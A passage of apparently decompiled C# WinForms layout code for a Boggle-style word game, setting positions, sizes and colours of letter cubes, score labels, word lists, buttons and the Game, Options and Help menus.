point1 = new Point(459, 188);
Point point12 = point1;
lbl2_1.Location = point12;
this.lbl2.Name = "lbl2";
CircleLabel lbl2_2 = this.lbl2;
size1 = new Size(55, 55);
Size size12 = size1;
lbl2_2.Size = size12;
this.lbl2.TabIndex = 22;
this.lbl2.Tag = (object) "10";
this.lbl5.BackColor = System.Drawing.Color.LightGray;
this.lbl5.CubeHighLight = System.Drawing.Color.LightGray;
this.lbl5.CubeText = "W";
this.lbl5.CubeTextColor = System.Drawing.Color.DarkBlue;
this.lbl5.CubeTopRadius = 55L;
CircleLabel lbl5_1 = this.lbl5;
point1 = new Point(389, 262);
Point point13 = point1;
lbl5_1.Location = point13;
this.lbl5.Name = "lbl5";
CircleLabel lbl5_2 = this.lbl5;
size1 = new Size(55, 55);
Size size13 = size1;
lbl5_2.Size = size13;
this.lbl5.TabIndex = 23;
this.lbl5.Tag = (object) "01";
this.lbl6.BackColor = System.Drawing.Color.LightGray;
this.lbl6.CubeHighLight = System.Drawing.Color.LightGray;
this.lbl6.CubeText = "W";
this.lbl6.CubeTextColor = System.Drawing.Color.DarkBlue;
this.lbl6.CubeTopRadius = 55L;
CircleLabel lbl6_1 = this.lbl6;
point1 = new Point(462, 261);
Point point14 = point1;
lbl6_1.Location = point14;
this.lbl6.Name = "lbl6";
CircleLabel lbl6_2 = this.lbl6;
size1 = new Size(55, 55);
Size size14 = size1;
lbl6_2.Size = size14;
this.lbl6.TabIndex = 24;
this.lbl6.Tag = (object) "11";
this.lbl7.BackColor = System.Drawing.Color.LightGray;
this.lbl7.CubeHighLight = System.Drawing.Color.LightGray;
this.lbl7.CubeText = "W";
this.lbl7.CubeTextColor = System.Drawing.Color.DarkBlue;
this.lbl7.CubeTopRadius = 55L;
CircleLabel lbl7_1 = this.lbl7;
point1 = new Point(535, 261);
Point point15 = point1;
lbl7_1.Location = point15;
this.lbl7.Name = "lbl7";
CircleLabel lbl7_2 = this.lbl7;
size1 = new Size(55, 55);
Size size15 = size1;
lbl7_2.Size = size15;
this.lbl7.TabIndex = 25;
this.lbl7.Tag = (object) "21";
this.lbl8.BackColor = System.Drawing.Color.LightGray;
this.lbl8.CubeHighLight = System.Drawing.Color.LightGray;
this.lbl8.CubeText = "W";
this.lbl8.CubeTextColor = System.Drawing.Color.DarkBlue;
this.lbl8.CubeTopRadius = 55L;
CircleLabel lbl8_1 = this.lbl8;
point1 = new Point(612, 261);
Point point16 = point1;
lbl8_1.Location = point16;
this.lbl8.Name = "lbl8";
CircleLabel lbl8_2 = this.lbl8;
size1 = new Size(55, 55);
Size size16 = size1;
lbl8_2.Size = size16;
this.lbl8.TabIndex = 26;
this.lbl8.Tag = (object) "31";
this.lbl9.BackColor = System.Drawing.Color.LightGray;
this.lbl9.CubeHighLight = System.Drawing.Color.LightGray;
this.lbl9.CubeText = "W";
this.lbl9.CubeTextColor = System.Drawing.Color.DarkBlue;
this.lbl9.CubeTopRadius = 55L;
CircleLabel lbl9_1 = this.lbl9;
point1 = new Point(393, 340);
Point point17 = point1;
lbl9_1.Location = point17;
this.lbl9.Name = "lbl9";
CircleLabel lbl9_2 = this.lbl9;
size1 = new Size(55, 55);
Size size17 = size1;
lbl9_2.Size = size17;
this.lbl9.TabIndex = 27;
this.lbl9.Tag = (object) "02";
this.lbl10.BackColor = System.Drawing.Color.LightGray;
this.lbl10.CubeHighLight = System.Drawing.Color.LightGray;
this.lbl10.CubeText = "W";
this.lbl10.CubeTextColor = System.Drawing.Color.DarkBlue;
this.lbl10.CubeTopRadius = 55L;
CircleLabel lbl10_1 = this.lbl10;
point1 = new Point(462, 342);
Point point18 = point1;
lbl10_1.Location = point18;
this.lbl10.Name = "lbl10";
CircleLabel lbl10_2 = this.lbl10;
size1 = new Size(55, 55);
Size size18 = size1;
lbl10_2.Size = size18;
this.lbl10.TabIndex = 28;
this.lbl10.Tag = (object) "12";
this.lbl11.BackColor = System.Drawing.Color.LightGray;
this.lbl11.CubeHighLight = System.Drawing.Color.LightGray;
this.lbl11.CubeText = "W";
this.lbl11.CubeTextColor = System.Drawing.Color.DarkBlue;
this.lbl11.CubeTopRadius = 55L;
CircleLabel lbl11_1 = this.lbl11;
point1 = new Point(537, 339);
Point point19 = point1;
lbl11_1.Location = point19;
this.lbl11.Name = "lbl11";
CircleLabel lbl11_2 = this.lbl11;
size1 = new Size(55, 55);
Size size19 = size1;
lbl11_2.Size = size19;
this.lbl11.TabIndex = 29;
this.lbl11.Tag = (object) "22";
this.lbl12.BackColor = System.Drawing.Color.LightGray;
this.lbl12.CubeHighLight = System.Drawing.Color.LightGray;
this.lbl12.CubeText = "W";
this.lbl12.CubeTextColor = System.Drawing.Color.DarkBlue;
this.lbl12.CubeTopRadius = 55L;
CircleLabel lbl12_1 = this.lbl12;
point1 = new Point(613, 338);
Point point20 = point1;
lbl12_1.Location = point20;
this.lbl12.Name = "lbl12";
CircleLabel lbl12_2 = this.lbl12;
size1 = new Size(55, 55);
Size size20 = size1;
lbl12_2.Size = size20;
this.lbl12.TabIndex = 30;
this.lbl12.Tag = (object) "32";
this.lbl13.BackColor = System.Drawing.Color.LightGray;
this.lbl13.CubeHighLight = System.Drawing.Color.LightGray;
this.lbl13.CubeText = "W";
this.lbl13.CubeTextColor = System.Drawing.Color.DarkBlue;
this.lbl13.CubeTopRadius = 55L;
CircleLabel lbl13_1 = this.lbl13;
point1 = new Point(389, 415);
Point point21 = point1;
lbl13_1.Location = point21;
this.lbl13.Name = "lbl13";
CircleLabel lbl13_2 = this.lbl13;
size1 = new Size(55, 55);
Size size21 = size1;
lbl13_2.Size = size21;
this.lbl13.TabIndex = 31;
this.lbl13.Tag = (object) "03";
this.lbl14.BackColor = System.Drawing.Color.LightGray;
this.lbl14.CubeHighLight = System.Drawing.Color.LightGray;
this.lbl14.CubeText = "W";
this.lbl14.CubeTextColor = System.Drawing.Color.DarkBlue;
this.lbl14.CubeTopRadius = 55L;
CircleLabel lbl14_1 = this.lbl14;
point1 = new Point(463, 412);
Point point22 = point1;
lbl14_1.Location = point22;
this.lbl14.Name = "lbl14";
CircleLabel lbl14_2 = this.lbl14;
size1 = new Size(55, 55);
Size size22 = size1;
lbl14_2.Size = size22;
this.lbl14.TabIndex = 32;
this.lbl14.Tag = (object) "13";
this.lbl15.BackColor = System.Drawing.Color.LightGray;
this.lbl15.CubeHighLight = System.Drawing.Color.LightGray;
this.lbl15.CubeText = "W";
this.lbl15.CubeTextColor = System.Drawing.Color.DarkBlue;
this.lbl15.CubeTopRadius = 55L;
CircleLabel lbl15_1 = this.lbl15;
point1 = new Point(542, 413);
Point point23 = point1;
lbl15_1.Location = point23;
this.lbl15.Name = "lbl15";
CircleLabel lbl15_2 = this.lbl15;
size1 = new Size(55, 55);
Size size23 = size1;
lbl15_2.Size = size23;
this.lbl15.TabIndex = 33;
this.lbl15.Tag = (object) "23";
this.lbl16.BackColor = System.Drawing.Color.LightGray;
this.lbl16.CubeHighLight = System.Drawing.Color.LightGray;
this.lbl16.CubeText = "W";
this.lbl16.CubeTextColor = System.Drawing.Color.DarkBlue;
this.lbl16.CubeTopRadius = 55L;
CircleLabel lbl16_1 = this.lbl16;
point1 = new Point(613, 414);
Point point24 = point1;
lbl16_1.Location = point24;
this.lbl16.Name = "lbl16";
CircleLabel lbl16_2 = this.lbl16;
size1 = new Size(55, 55);
Size size24 = size1;
lbl16_2.Size = size24;
this.lbl16.TabIndex = 34;
this.lbl16.Tag = (object) "33";
this.picCubeDown.BackColor = System.Drawing.Color.FromArgb(0, 0, 192);
PictureBox picCubeDown1 = this.picCubeDown;
point1 = new Point(693, 189);
Point point25 = point1;
picCubeDown1.Location = point25;
this.picCubeDown.Name = "picCubeDown";
PictureBox picCubeDown2 = this.picCubeDown;
size1 = new Size(74, 75);
Size size25 = size1;
picCubeDown2.Size = size25;
this.picCubeDown.TabIndex = 35;
this.picCubeDown.TabStop = false;
this.btnAddWord.BogButtonEnabled = false;
this.btnAddWord.ButtonText = "Add Word";
BogButton btnAddWord1 = this.btnAddWord;
point1 = new Point(187, 180);
Point point26 = point1;
btnAddWord1.Location = point26;
this.btnAddWord.Name = "btnAddWord";
BogButton btnAddWord2 = this.btnAddWord;
size1 = new Size(93, 49);
Size size26 = size1;
btnAddWord2.Size = size26;
this.btnAddWord.TabIndex = 36;
this.btnAddWord.Tag = (object) "Continue";
this.btnAddWord.Text = "Add Word";
this.lstHumanWordsFound.BackColor = System.Drawing.Color.Black;
this.lstHumanWordsFound.BorderStyle = BorderStyle.None;
this.lstHumanWordsFound.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
this.lstHumanWordsFound.ForeColor = System.Drawing.Color.DodgerBlue;
ListBox lstHumanWordsFound1 = this.lstHumanWordsFound;
point1 = new Point(58, 381);
Point point27 = point1;
lstHumanWordsFound1.Location = point27;
this.lstHumanWordsFound.Name = "lstHumanWordsFound";
ListBox lstHumanWordsFound2 = this.lstHumanWordsFound;
size1 = new Size(81, 234);
Size size27 = size1;
lstHumanWordsFound2.Size = size27;
this.lstHumanWordsFound.TabIndex = 40;
this.mnuMain.MenuItems.AddRange(new MenuItem[3]
{
this.mnuGame,
this.mnuOptions,
this.mnuHelp
});
this.mnuGame.Enabled = false;
this.mnuGame.Index = 0;
this.mnuGame.MenuItems.AddRange(new MenuItem[6]
{
this.mnuNewGame,
this.mnuEndGame,
this.MenuItem8,
this.mnuHighScores,
this.MenuItem2,
this.mnuExitGame
});
this.mnuGame.Text = "&Game";
this.mnuNewGame.Index = 0;
this.mnuNewGame.Text = "New Game...";
this.mnuEndGame.Index = 1;
this.mnuEndGame.Text = "End Game";
this.MenuItem8.Index = 2;
this.MenuItem8.Text = "-";
this.mnuHighScores.Index = 3;
this.mnuHighScores.Text = "High Scores...";
this.MenuItem2.Index = 4;
this.MenuItem2.Text = "-";
this.mnuExitGame.Index = 5;
this.mnuExitGame.Text = "Exit ";
this.mnuOptions.Enabled = false;
this.mnuOptions.Index = 1;
this.mnuOptions.MenuItems.AddRange(new MenuItem[13]
{
this.mnuEnableDefSearch,
this.MenuItem1,
this.mnuMode,
this.MenuItem3,
this.mnuLevelEasy,
this.mnuLevelMedium,
this.mnuLevelHard,
this.mnuLevelImpossible,
this.MenuItem4,
this.mnuTimerInterval,
this.mnuEnableTimerFlash,
this.MenuItem5,
this.mnuEnableWordValidation
});
this.mnuOptions.Text = "&Options";
this.mnuEnableDefSearch.Index = 0;
this.mnuEnableDefSearch.Text = "Enable Defention Search";
this.MenuItem1.Index = 1;
this.MenuItem1.Text = "-";
this.mnuMode.Index = 2;
this.mnuMode.MenuItems.AddRange(new MenuItem[3]
{
this.mnuBoardGameMode,
this.mnuVsMode,
this.mnuTeachingMode
});
this.mnuMode.Text = "Mode...";
this.mnuBoardGameMode.Index = 0;
this.mnuBoardGameMode.Text = "Board Game Mode";
this.mnuVsMode.Index = 1;
this.mnuVsMode.Text = "Vs. Computer Mode";
this.mnuTeachingMode.Index = 2;
this.mnuTeachingMode.Text = "Teaching Mode";
this.MenuItem3.Index = 3;
this.MenuItem3.Text = "-";
this.mnuLevelEasy.Index = 4;
this.mnuLevelEasy.Text = "Level Easy";
this.mnuLevelMedium.Index = 5;
this.mnuLevelMedium.Text = "Level Medium";
this.mnuLevelHard.Index = 6;
this.mnuLevelHard.Text = "Level Hard";
this.mnuLevelImpossible.Index = 7;
this.mnuLevelImpossible.Text = "Level Impossible ";
this.MenuItem4.Index = 8;
this.MenuItem4.Text = "-";
this.mnuTimerInterval.Index = 9;
this.mnuTimerInterval.MenuItems.AddRange(new MenuItem[10]
{
this.mnuTmr30,
this.mnuTmr100,
this.mnuTmr130,
this.mnuTmr200,
this.mnuTmr230,
this.mnuTmr300,
this.mnuTmr330,
this.mnuTmr400,
this.mnuTmr430,
this.mnuTmr500
});
this.mnuTimerInterval.Text = "Timer Interval...";
this.mnuTmr30.Index = 0;
this.mnuTmr30.Text = ":30";
this.mnuTmr100.Index = 1;
this.mnuTmr100.Text = "1:00";
this.mnuTmr130.Index = 2;
this.mnuTmr130.Text = "1:30";
this.mnuTmr200.Index = 3;
this.mnuTmr200.Text = "2:00";
this.mnuTmr230.Index = 4;
this.mnuTmr230.Text = "2:30";
this.mnuTmr300.Index = 5;
this.mnuTmr300.Text = "3:00";
this.mnuTmr330.Index = 6;
this.mnuTmr330.Text = "3:30";
this.mnuTmr400.Index = 7;
this.mnuTmr400.Text = "4:00";
this.mnuTmr430.Index = 8;
this.mnuTmr430.Text = "4:30";
this.mnuTmr500.Index = 9;
this.mnuTmr500.Text = "5:00";
this.mnuEnableTimerFlash.Index = 10;
this.mnuEnableTimerFlash.Text = "Enable Timer Flash";
this.MenuItem5.Index = 11;
this.MenuItem5.Text = "-";
this.mnuEnableWordValidation.Index = 12;
this.mnuEnableWordValidation.Text = "Enable Word Validation";
this.mnuHelp.Enabled = false;
this.mnuHelp.Index = 2;
this.mnuHelp.MenuItems.AddRange(new MenuItem[3]
{
this.mnuAbout,
this.MenuItem6,
this.mnuTips
});
this.mnuHelp.Text = "&Help";
this.mnuAbout.Index = 0;
this.mnuAbout.Text = "About...";
this.MenuItem6.Index = 1;
this.MenuItem6.Text = "-";
this.mnuTips.Index = 2;
this.mnuTips.Text = "Tips...";
this.tmrContMain.Enabled = true;
this.tmrContMain.Interval = 500;
this.txtWordFound.BackColor = System.Drawing.Color.Silver;
this.txtWordFound.BorderStyle = BorderStyle.FixedSingle;
this.txtWordFound.Font = new Font("Microsoft Sans Serif", 9.75f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
this.txtWordFound.ForeColor = System.Drawing.Color.FromArgb(0, 0, 192);
TextBox txtWordFound1 = this.txtWordFound;
point1 = new Point(35, 203);
Point point28 = point1;
txtWordFound1.Location = point28;
this.txtWordFound.Name = "txtWordFound";
TextBox txtWordFound2 = this.txtWordFound;
size1 = new Size(116, 22);
Size size28 = size1;
txtWordFound2.Size = size28;
this.txtWordFound.TabIndex = 41;
this.txtWordFound.Text = "";
this.lblHumanScore.BackColor = System.Drawing.Color.Silver;
this.lblHumanScore.BorderStyle = BorderStyle.FixedSingle;
this.lblHumanScore.Font = new Font("Microsoft Sans Serif", 12f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
this.lblHumanScore.ForeColor = System.Drawing.Color.FromArgb(0, 0, 192);
Label lblHumanScore1 = this.lblHumanScore;
point1 = new Point(35, 244);
Point point29 = point1;
lblHumanScore1.Location = point29;
this.lblHumanScore.Name = "lblHumanScore";
Label lblHumanScore2 = this.lblHumanScore;
size1 = new Size(80, 19);
Size size29 = size1;
lblHumanScore2.Size = size29;
this.lblHumanScore.TabIndex = 42;
this.lblHumanScore.Text = "0";
this.Panel1.BackColor = System.Drawing.Color.Black;
Panel panel1_1 = this.Panel1;
point1 = new Point(365, 75);
Point point30 = point1;
panel1_1.Location = point30;
this.Panel1.Name = "Panel1";
Panel panel1_2 = this.Panel1;
size1 = new Size(17, 97);
Size size30 = size1;
panel1_2.Size = size30;
this.Panel1.TabIndex = 43;
this.pnlScore.BackColor = System.Drawing.Color.DarkGray;
BogPanel pnlScore1 = this.pnlScore;
point1 = new Point(-3, 161);
Point point31 = point1;
pnlScore1.Location = point31;
this.pnlScore.Name = "pnlScore";
BogPanel pnlScore2 = this.pnlScore;
size1 = new Size(318, 174);
Size size31 = size1;
pnlScore2.Size = size31;
this.pnlScore.TabIndex = 46;
this.pnlScore.TabStop = false;
this.pnlWords.BackColor = System.Drawing.Color.DarkGray;
BogPanel pnlWords1 = this.pnlWords;
point1 = new Point(-5, 331);
Point point32 = point1;
pnlWords1.Location = point32;
this.pnlWords.Name = "pnlWords";
BogPanel pnlWords2 = this.pnlWords;
size1 = new Size(318, 315);
Size size32 = size1;
pnlWords2.Size = size32;
this.pnlWords.TabIndex = 47;
this.pnlWords.TabStop = false;
this.BogBorder9.BackColor = System.Drawing.Color.DarkGray;
this.BogBorder9.BorderDirection = BogBorder.Direction.Left;
BogBorder bogBorder9_1 = this.BogBorder9;
point1 = new Point(48, 370);
Point point33 = point1;
bogBorder9_1.Location = point33;
this.BogBorder9.Name = "BogBorder9";
BogBorder bogBorder9_2 = this.BogBorder9;
size1 = new Size(12, 258);
Size size33 = size1;
bogBorder9_2.Size = size33;
this.BogBorder9.TabIndex = 48;
this.BogBorder9.TabStop = false;
this.BogBorder10.BackColor = System.Drawing.Color.DarkGray;
this.BogBorder10.BorderDirection = BogBorder.Direction.Right;
BogBorder bogBorder10_1 = this.BogBorder10;
point1 = new Point(139, 372);
Point point34 = point1;
bogBorder10_1.Location = point34;
this.BogBorder10.Name = "BogBorder10";
BogBorder bogBorder10_2 = this.BogBorder10;
size1 = new Size(12, 254);
Size size34 = size1;
bogBorder10_2.Size = size34;
this.BogBorder10.TabIndex = 49;
this.BogBorder10.TabStop = false;
this.BogBorder11.BackColor = System.Drawing.Color.DarkGray;
this.BogBorder11.BorderDirection = BogBorder.Direction.Top;
BogBorder bogBorder11_1 = this.BogBorder11;
point1 = new Point(60, 372);
Point point35 = point1;
bogBorder11_1.Location = point35;
this.BogBorder11.Name = "BogBorder11";
BogBorder bogBorder11_2 = this.BogBorder11;
size1 = new Size(80, 11);
Size size35 = size1;
bogBorder11_2.Size = size35;
this.BogBorder11.TabIndex = 50;
this.BogBorder11.TabStop = false;
this.BogBorder12.BackColor = System.Drawing.Color.DarkGray;
this.BogBorder12.BorderDirection = BogBorder.Direction.Bottom;
BogBorder bogBorder12_1 = this.BogBorder12;
point1 = new Point(60, 615);
Point point36 = point1;
bogBorder12_1.Location = point36;
this.BogBorder12.Name = "BogBorder12";
BogBorder bogBorder12_2 = this.BogBorder12;
size1 = new Size(81, 11);
Size size36 = size1;
bogBorder12_2.Size = size36;
this.BogBorder12.TabIndex = 51;
this.BogBorder12.TabStop = false;
this.BogBorder13.BackColor = System.Drawing.Color.DarkGray;
this.BogBorder13.BorderDirection = BogBorder.Direction.Bottom;
BogBorder bogBorder13_1 = this.BogBorder13;
point1 = new Point(170, 614);
Point point37 = point1;
bogBorder13_1.Location = point37;
this.BogBorder13.Name = "BogBorder13";
BogBorder bogBorder13_2 = this.BogBorder13;
size1 = new Size(81, 11);
Size size37 = size1;
bogBorder13_2.Size = size37;
this.BogBorder13.TabIndex = 56;
this.BogBorder13.TabStop = false;
this.BogBorder14.BackColor = System.Drawing.Color.DarkGray;
this.BogBorder14.BorderDirection = BogBorder.Direction.Top;
BogBorder bogBorder14_1 = this.BogBorder14;
point1 = new Point(170, 371);
Point point38 = point1;
bogBorder14_1.Location = point38;
this.BogBorder14.Name = "BogBorder14";
BogBorder bogBorder14_2 = this.BogBorder14;
size1 = new Size(80, 11);
Size size38 = size1;
bogBorder14_2.Size = size38;
this.BogBorder14.TabIndex = 55;
this.BogBorder14.TabStop = false;
this.BogBorder15.BackColor = System.Drawing.Color.DarkGray;
this.BogBorder15.BorderDirection = BogBorder.Direction.Right;
BogBorder bogBorder15_1 = this.BogBorder15;
point1 = new Point(249, 371);
Point point39 = point1;
bogBorder15_1.Location = point39;
this.BogBorder15.Name = "BogBorder15";
BogBorder bogBorder15_2 = this.BogBorder15;
size1 = new Size(12, 254);
Size size39 = size1;
bogBorder15_2.Size = size39;
this.BogBorder15.TabIndex = 54;
this.BogBorder15.TabStop = false;
this.BogBorder16.BackColor = System.Drawing.Color.DarkGray;
this.BogBorder16.BorderDirection = BogBorder.Direction.Left;
BogBorder bogBorder16_1 = this.BogBorder16;
point1 = new Point(158, 369);
Point point40 = point1;
bogBorder16_1.Location = point40;
this.BogBorder16.Name = "BogBorder16";
BogBorder bogBorder16_2 = this.BogBorder16;
size1 = new Size(12, 258);
Size size40 = size1;
bogBorder16_2.Size = size40;
this.BogBorder16.TabIndex = 53;
this.BogBorder16.TabStop = false;
this.lstCompFoundWords.BackColor = System.Drawing.Color.Black;
this.lstCompFoundWords.BorderStyle = BorderStyle.None;
this.lstCompFoundWords.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
this.lstCompFoundWords.ForeColor = System.Drawing.Color.DodgerBlue;
ListBox lstCompFoundWords1 = this.lstCompFoundWords;
point1 = new Point(168, 380);
Point point41 = point1;
lstCompFoundWords1.Location = point41;
this.lstCompFoundWords.Name = "lstCompFoundWords";
ListBox lstCompFoundWords2 = this.lstCompFoundWords;
size1 = new Size(81, 234);
Size size41 = size1;
lstCompFoundWords2.Size = size41;
this.lstCompFoundWords.TabIndex = 52;
this.tmrBtn1.BackColor = System.Drawing.Color.Gray;
Button tmrBtn1_1 = this.tmrBtn1;
point1 = new Point(89, 132);
Point point42 = point1;
tmrBtn1_1.Location = point42;
this.tmrBtn1.Name = "tmrBtn1";
Button tmrBtn1_2 = this.tmrBtn1;
size1 = new Size(21, 12);
Size size42 = size1;
tmrBtn1_2.Size = size42;
this.tmrBtn1.TabIndex = 57;
this.tmrBtn2.BackColor = System.Drawing.Color.Gray;
Button tmrBtn2_1 = this.tmrBtn2;
point1 = new Point(126, 132);
Point point43 = point1;
tmrBtn2_1.Location = point43;
this.tmrBtn2.Name = "tmrBtn2";
Button tmrBtn2_2 = this.tmrBtn2;
size1 = new Size(21, 12);
Size size43 = size1;
tmrBtn2_2.Size = size43;
this.tmrBtn2.TabIndex = 58;
this.tmrBtn3.BackColor = System.Drawing.Color.Gray;
Button tmrBtn3_1 = this.tmrBtn3;
point1 = new Point(198, 132);
Point point44 = point1;
tmrBtn3_1.Location = point44;
this.tmrBtn3.Name = "tmrBtn3";
Button tmrBtn3_2 = this.tmrBtn3;
size1 = new Size(21, 12);
Size size44 = size1;
tmrBtn3_2.Size = size44;
this.tmrBtn3.TabIndex = 59;
this.tmrBtn4.BackColor = System.Drawing.Color.Gray;
Button tmrBtn4_1 = this.tmrBtn4;
point1 = new Point(162, 132);
Point point45 = point1;
tmrBtn4_1.Location = point45;
this.tmrBtn4.Name = "tmrBtn4";
Button tmrBtn4_2 = this.tmrBtn4;
size1 = new Size(21, 12);
Size size45 = size1;
tmrBtn4_2.Size = size45;
this.tmrBtn4.TabIndex = 60;
this.Label1.AutoSize = true;
this.Label1.BackColor = System.Drawing.Color.DarkGray;
this.Label1.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
this.Label1.ForeColor = System.Drawing.Color.Black;
Label label1_1 = this.Label1;
point1 = new Point(65, 357);
Point point46 = point1;
label1_1.Location = point46;
this.Label1.Name = "Label1";
Label label1_2 = this.Label1;
size1 = new Size(66, 13);
Size size46 = size1;
label1_2.Size = size46;
this.Label1.TabIndex = 61;
this.Label1.Text = "Your Words";
this.Label2.AutoSize = true;
this.Label2.BackColor = System.Drawing.Color.DarkGray;
this.Label2.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
this.Label2.ForeColor = System.Drawing.Color.Black;
Label label2_1 = this.Label2;
point1 = new Point(179, 357);
Point point47 = point1;
label2_1.Location = point47;
this.Label2.Name = "Label2";
Label label2_2 = this.Label2;
size1 = new Size(57, 13);
Size size47 = size1;
label2_2.Size = size47;
this.Label2.TabIndex = 62;
this.Label2.Text = "My Words";
this.lblCompScore.BackColor = System.Drawing.Color.Silver;
this.lblCompScore.BorderStyle = BorderStyle.FixedSingle;
this.lblCompScore.Font = new Font("Microsoft Sans Serif", 12f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
this.lblCompScore.ForeColor = System.Drawing.Color.FromArgb(0, 0, 192);
Label lblCompScore1 = this.lblCompScore;
point1 = new Point(35, 289);
Point point48 = point1;
lblCompScore1.Location = point48;
this.lblCompScore.Name = "lblCompScore";
Label lblCompScore2 = this.lblCompScore;
size1 = new Size(80, 19);
Size size48 = size1;
lblCompScore2.Size = size48;
this.lblCompScore.TabIndex = 63;
this.lblCompScore.Text = "0";
this.Label3.AutoSize = true;
this.Label3.BackColor = System.Drawing.Color.DarkGray;
this.Label3.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
this.Label3.ForeColor = System.Drawing.Color.Black;
Label label3_1 = this.Label3;
point1 = new Point(35, 229);
Point point49 = point1;
label3_1.Location = point49;
this.Label3.Name = "Label3";
Label label3_2 = this.Label3;
size1 = new Size(63, 13);
Size size49 = size1;
label3_2.Size = size49;
this.Label3.TabIndex = 64;
this.Label3.Text = "Your Score";
this.Label4.AutoSize = true;
this.Label4.BackColor = System.Drawing.Color.DarkGray;
this.Label4.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
this.Label4.ForeColor = System.Drawing.Color.Black;
Label label4_1 = this.Label4;
point1 = new Point(35, 272);
Point point50 = point1;
label4_1.Location = point50;
this.Label4.Name = "Label4";
Label label4_2 = this.Label4;
size1 = new Size(54, 13);
Size size50 = size1;
label4_2.Size = size50;
this.Label4.TabIndex = 65;
this.Label4.Text = "My Score";
this.Label5.AutoSize = true;
this.Label5.BackColor = System.Drawing.Color.DarkGray;
this.Label5.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
this.Label5.ForeColor = System.Drawing.Color.Black;
Label label5_1 = this.Label5;
point1 = new Point(35, 187);
Point point51 = point1;
label5_1.Location = point51;
this.Label5.Name = "Label5";
Label label5_2 = this.Label5;
size1 = new Size(56, 13);
Size size51 = size1;
label5_2.Size = size51;
this.Label5.TabIndex = 66;
this.Label5.Text = "Add Word";
this.lblHumanWordsCount.BackColor = System.Drawing.Color.DarkGray;
this.lblHumanWordsCount.Font = new Font("Microsoft Sans Serif", 9.75f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
this.lblHumanWordsCount.ForeColor = System.Drawing.Color.Blue;
Label lblHumanWordsCount1 = this.lblHumanWordsCount;
point1 = new Point(25, 378);
Point point52 = point1;
lblHumanWordsCount1.Location = point52;
this.lblHumanWordsCount.Name = "lblHumanWordsCount";
Label lblHumanWordsCount2 = this.lblHumanWordsCount;
size1 = new Size(21, 19);
Size size52 = size1;
lblHumanWordsCount2.Size = size52;
this.lblHumanWordsCount.TabIndex = 67;
this.lblHumanWordsCount.Text = "0";
this.lblCompWordsCount.BackColor = System.Drawing.Color.DarkGray;
this.lblCompWordsCount.Font = new Font("Microsoft Sans Serif", 9.75f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
this.lblCompWordsCount.ForeColor = System.Drawing.Color.Blue;
Label lblCompWordsCount1 = this.lblCompWordsCount;
point1 = new Point(271, 378);
Point point53 = point1;
lblCompWordsCount1.Location = point53;
this.lblCompWordsCount.Name = "lblCompWordsCount";
Label lblCompWordsCount2 = this.lblCompWordsCount;
size1 = new Size(21, 19);
Size size53 = size1;
lblCompWordsCount2.Size = size53;
this.lblCompWordsCount.TabIndex = 68;
this.lblCompWordsCount.Text = "0";
this.btnContinue.BogButtonEnabled = false;
this.btnContinue.ButtonText = "Continue";
BogButton btnContinue1 = this.btnContinue;
point1 = new Point(187, 223);
Point point54 = point1;
btnContinue1.Location = point54;
this.btnContinue.Name = "btnContinue";
BogButton btnContinue2 = this.btnContinue;
size1 = new Size(93, 49);
Size size54 = size1;
btnContinue2.Size = size54;
this.btnContinue.TabIndex = 69;
this.btnContinue.Text = "Continue";
this.btnScramble.BogButtonEnabled = false;
this.btnScramble.ButtonText = "Scramble";
BogButton btnScramble1 = this.btnScramble;
point1 = new Point(187, 265);
Point point55 = point1;
btnScramble1.Location = point55;
this.btnScramble.Name = "btnScramble";
BogButton btnScramble2 = this.btnScramble;
size1 = new Size(93, 49);
Size size55 = size1;
btnScramble2.Size = size55;
this.btnScramble.TabIndex = 70;
this.btnScramble.Text = "Add Word";
this.btnFinish.BogButtonEnabled = false;
this.btnFinish.ButtonText = " Finish ";
BogButton btnFinish1 = this.btnFinish;
point1 = new Point(548, 595);
Point point56 = point1;
btnFinish1.Location = point56;
this.btnFinish.Name = "btnFinish";
BogButton btnFinish2 = this.btnFinish;
size1 = new Size(96, 49);
Size size56 = size1;
btnFinish2.Size = size56;
this.btnFinish.TabIndex = 73;
this.btnFinish.Text = "btnFinish";
this.lblHumanRounds.BackColor = System.Drawing.Color.Silver;
this.lblHumanRounds.BorderStyle = BorderStyle.FixedSingle;
this.lblHumanRounds.Font = new Font("Microsoft Sans Serif", 12f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
this.lblHumanRounds.ForeColor = System.Drawing.Color.FromArgb(0, 0, 192);
Label lblHumanRounds1 = this.lblHumanRounds;
point1 = new Point(121, 244);
Point point57 = point1;
lblHumanRounds1.Location = point57;
this.lblHumanRounds.Name = "lblHumanRounds";
Label lblHumanRounds2 = this.lblHumanRounds;
size1 = new Size(29, 19);
Size size57 = size1;
lblHumanRounds2.Size = size57;
this.lblHumanRounds.TabIndex = 74;
this.lblHumanRounds.Text = "0";
this.lblComputerRounds.BackColor = System.Drawing.Color.Silver;
this.lblComputerRounds.BorderStyle = BorderStyle.FixedSingle;
this.lblComputerRounds.Font = new Font("Microsoft Sans Serif", 12f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
this.lblComputerRounds.ForeColor = System.Drawing.Color.FromArgb(0, 0, 192);
Label lblComputerRounds1 = this.lblComputerRounds;
point1 = new Point(121, 289);
Point point58 = point1;
lblComputerRounds1.Location = point58;
this.lblComputerRounds.Name = "lblComputerRounds";
Label lblComputerRounds2 = this.lblComputerRounds;
size1 = new Size(29, 19);
Size size58 = size1;
lblComputerRounds2.Size = size58;
this.lblComputerRounds.TabIndex = 75;
this.lblComputerRounds.Text = "0";
this.Label7.AutoSize = true;
